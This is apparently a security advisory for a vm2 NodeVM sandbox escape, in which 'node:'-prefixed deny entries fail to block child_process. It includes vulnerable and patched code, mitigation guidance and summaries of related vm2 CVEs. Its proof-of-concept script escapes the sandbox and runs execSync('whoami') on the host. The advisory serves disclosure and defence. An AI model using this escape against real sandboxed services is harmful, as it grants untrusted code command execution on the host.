Oct 2, 2026·6 min read·5 visits
vm2 fails to normalize the 'node:' prefix in negative builtin policy entries, allowing sandboxed code to load disallowed modules like 'child_process' and achieve remote code execution on the host.
A vulnerability in the NodeVM component of the vm2 sandbox package through version 3.11.6 allows sandboxed code to bypass security policies restricting access to built-in modules. When a wildcard require policy is configured with negative deny entries using the 'node:' prefix (e.g., '-node:child_process'), the parser fails to recognize the exemption due to exact string comparison. As a result, the unmitigated module is registered, allowing sandboxed code to import the host child_process module and execute arbitrary system commands.
The vm2 package is a widely utilized Node.js library designed to run untrusted code in a sandboxed context. It exposes several interfaces, including the NodeVM class, which offers custom module-loading mechanisms. These mechanisms allow administrators to restrict or grant access to host-level Node.js built-in modules. The attack surface consists of the require hook within NodeVM, which regulates module access based on a user-defined policy.\n\nThis vulnerability is classified under CWE-269 (Improper Privilege Management). It manifests as a sandbox escape that grants sandboxed code unrestricted access to the host's operating system environment. An attacker capable of executing arbitrary JavaScript within a vm2 sandbox can bypass the intended policy configuration if it uses wildcard exclusions.\n\nThe vulnerability is particularly critical because the compromise of a NodeVM instance can lead directly to remote code execution on the underlying host. By accessing powerful system modules like child_process, untrusted sandboxed code can execute arbitrary binary files and commands. This breaks the primary isolation guarantee of the vm2 library.
The primary flaw lies in how the NodeVM policy configuration engine parses wildcard module options during initialization. When a developer instantiates NodeVM with a wildcard policy, such as new NodeVM({ require: { builtin: ['*', '-node:child_process'] } }), the engine expands the wildcard asterisk into an allowlist. This expansion is handled by the makeBuiltinsFromLegacyOptions function inside lib/builtin.js.\n\nDuring this expansion phase, the function loops through the canonical list of built-in modules (BUILTIN_MODULES). For each canonical name, such as child_process or fs, the code verifies if a corresponding negative deny entry exists in the user-supplied array. This verification uses an exact string matching check via the indexOf method, looking for the pattern -${name} where name is the canonical un-prefixed module name.\n\nBecause the canonical list contains un-prefixed names like child_process, the code searches for -child_process. However, if the policy specifies a deny token using Node's modern URL scheme prefix, such as -node:child_process, the exact-match check fails to find -child_process. This failure allows the un-prefixed child_process module to remain in the allowed registry of the instantiated sandbox environment.\n\nAt execution time, when sandboxed code requests the module via require('child_process') or require('node:child_process'), the runtime module resolver strips the node: prefix. It then checks the registered allowlist. Since the canonical module name child_process was never removed from the registry during the wildcard expansion phase, the resolver successfully fulfills the request, returning the real, host-level module.\n\nmermaid\ngraph LR\n A["Policy: '-node:child_process'"] --> B["makeBuiltinsFromLegacyOptions()"]\n B --> C["Check: indexOf('-child_process')"]\n C --> D{"Match Found?"}\n D -- "No" --> E["child_process Registered"]\n D -- "Yes" --> F["Blocked"]\n E --> G["require('child_process') inside Sandbox"]\n G --> H["Host RCE"]\n
A review of the vulnerable function makeBuiltinsFromLegacyOptions in lib/builtin.js highlights the exact location of the string mismatch. The engine processes the user-supplied builtins array in the following manner before the patch:\n\njavascript\n// Vulnerable Code Path\nfunction makeBuiltinsFromLegacyOptions(builtins, hostRequire, mocks, overrides) {\n if (def) {\n for (let i = 0; i < BUILTIN_MODULES.length; i++) {\n const name = BUILTIN_MODULES[i];\n if (builtins.indexOf(`-${name}`) === -1) {\n addDefaultBuiltin(res, name, hostRequire);\n }\n }\n }\n}\n\n\nIn this implementation, if builtins contains '-node:child_process', the check builtins.indexOf('-child_process') evaluates to -1. Consequently, the conditional block executes and adds the child_process module to the resolved built-ins registry res.\n\nThe patch introduced in version 3.11.7 corrects this parsing gap by explicitly matching both the canonical un-prefixed deny token and the node: prefixed deny token. This modification aligns the policy validation with the actual execution-time module resolver:\n\njavascript\n// Patched Code Path\nfunction makeBuiltinsFromLegacyOptions(builtins, hostRequire, mocks, overrides) {\n if (def) {\n for (let i = 0; i < BUILTIN_MODULES.length; i++) {\n const name = BUILTIN_MODULES[i];\n // SECURITY (GHSA-8686-vhfx-7r3j): Match BOTH un-prefixed and node: prefixed spellings\n if (builtins.indexOf(`-${name}`) === -1 && builtins.indexOf(`-node:${name}`) === -1) {\n addDefaultBuiltin(res, name, hostRequire);\n }\n }\n }\n}\n\n\nBy checking both conditions, the engine successfully identifies that the user intended to exclude the module regardless of which naming scheme they used. This prevents the module from being registered and ensures the sandbox maintains a tight perimeter.
Exploitation of this vulnerability requires that the host application instantiates NodeVM using a wildcard require policy combined with a negative deny token utilizing the node: prefix. The attacker must have the ability to supply and execute arbitrary JavaScript code within the sandbox.\n\nThe following script demonstrates a functional proof of concept. The code configures NodeVM to deny the node:child_process module while permitting other modules via the wildcard option. Inside the sandbox, the execution hooks are then leveraged to bypass the restriction.\n\njavascript\nconst { NodeVM } = require('vm2');\n\n// Host-side configuration with vulnerable wildcard and deny-list policy\nconst vm = new NodeVM({\n require: {\n builtin: ['*', '-node:child_process']\n }\n});\n\n// Sandboxed code executing the escape\nconst result = vm.run(`\n // Due to exact-string comparison mismatch, 'child_process' remains allowed\n const cp = require('child_process');\n \n // Execute system commands directly on the host\n module.exports = cp.execSync('whoami').toString();\n`, 'payload.js');\n\nconsole.log('Host Username:', result);\n\n\nWhen the sandbox runs this code, the require call returns the host's original child_process module rather than a restricted variant. The sandboxed code then gains direct access to the execSync function, breaking sandbox isolation and executing system commands with the privileges of the Node.js process.
The impact of a sandbox escape via this vulnerability is high. Because NodeVM is designed to serve as a secure boundary for untrusted code execution, a failure in module enforcement completely nullifies the security guarantees of the library.\n\nAn attacker who successfully exploits this vulnerability gains full remote code execution on the underlying host operating system. This access is bounded only by the privileges of the process hosting the Node.js runtime. This allows for unauthorized file modification, data exfiltration, and potential lateral movement within internal networks.\n\nThis vulnerability has been assigned a CVSS v3.1 base score of 9.9 and a CVSS v4.0 base score of 9.4, classifying it as Critical. The attack complexity is low, requiring no special privileges or user interaction other than the existing mechanism used to pass untrusted code to the sandbox. Additionally, the scope is changed, reflecting the transition of vulnerability impact from the sandboxed environment directly to the host system.
To address this vulnerability, administrators and developers must upgrade the vm2 dependency to version 3.11.7 or later. This version contains the patch that normalizes the prefix checks in the policy parsing code, successfully blocking both un-prefixed and prefixed require calls.\n\nIf upgrading is not immediately feasible, developers should modify their sandbox initialization parameters. You should avoid utilizing the wildcard character ('*') combined with negative exclusions. Instead, explicitly declare an allowlist containing only the minimal safe modules required by the sandboxed application.\n\njavascript\n// Safe Configuration (Explicit Allowlist)\nconst vm = new NodeVM({\n require: {\n builtin: ['path', 'url'] // Only these modules are allowed\n }\n});\n\n\nIt is critical to note that the vm2 project has been officially deprecated and archived by its maintainers due to recurring sandbox escape design flaws. For long-term security, organizations should migrate to stronger isolation runtimes such as WebAssembly (Wasm), microVMs, or process-level isolation frameworks.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
vm2 patriksimek | <= 3.11.6 | 3.11.7 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-269 |
| Attack Vector | Network |
| CVSS v3.1 Score | 9.9 (Critical) |
| CVSS v4.0 Score | 9.4 (Critical) |
| EPSS Score | 0.00537 (43.14th percentile) |
| Exploit Maturity | Proof of Concept |
| CISA KEV Status | Not Listed |
The software does not properly assign, modify, track, or restrict privileges for an actor, or it fails to restrict access to key APIs, resulting in privilege escalation.
CVE-2026-92937 is a critical sandbox escape vulnerability in the `vm2` Node.js library. Due to a logical failure in checking direct invocation targets inside the Proxy bridge, an attacker can register Promise callbacks using `Function.prototype.call` or `Function.prototype.apply` indirection. This bypasses the error sanitization wrappers, delivering raw host error objects directly to sandboxed callbacks and allowing the attacker to escape the sandbox and execute arbitrary shell commands on the host.
CVE-2026-92935 is a critical sandbox escape and remote code execution vulnerability in the vm2 library. By supplying an array or exotic object to the require property of NodeVM while nesting is enabled, attackers can bypass security checks, load the host vm2 module, and run arbitrary shell commands on the hosting server.
CVE-2026-92949 is a sandbox bypass vulnerability in the vm2 library affecting versions 3.9.6 through 3.11.6. The flaw exists due to a breakdown in the ReadOnlyHandler proxy boundary, allowing sandboxed scripts to obtain direct references to wrapped property setters on frozen host-bound objects, ultimately leading to unauthorized state modification in the host environment. This security failure violates the read-only contract enforced by the sandbox for frozen/readonly objects, though it does not by itself allow a full execution-level realm escape. Due to systemic and structural design difficulties in securing a shared-runtime JavaScript sandbox, the vm2 library has been officially deprecated.
CVE-2026-92958 is a high-severity sandbox escape and denylist bypass vulnerability within the NodeVM subsystem of the vm2 sandboxing library. When configuring wildcards with negative deny entries, exact-string matches fail to block subpaths like fs/promises. Sandboxed code can import these subpaths to bypass isolation and execute arbitrary filesystem operations on the host.
An incorrect authorization and directory traversal vulnerability in the vm2 library before version 3.11.7 allows remote attackers to bypass the sandbox's external package allowlist. This flaw permits sandboxed code to resolve and execute arbitrary packages available on the host filesystem under host privileges, leading to unauthenticated sandbox escape and host code execution.
A critical vulnerability in the Node.js sandbox library vm2 allows sandboxed code to retrieve the process-wide http.globalAgent and https.globalAgent singletons. By attaching event listeners to these host-realm emitters, sandboxed code can intercept host-realm network requests, capturing sensitive Authorization headers and hijacking active TLSSocket streams.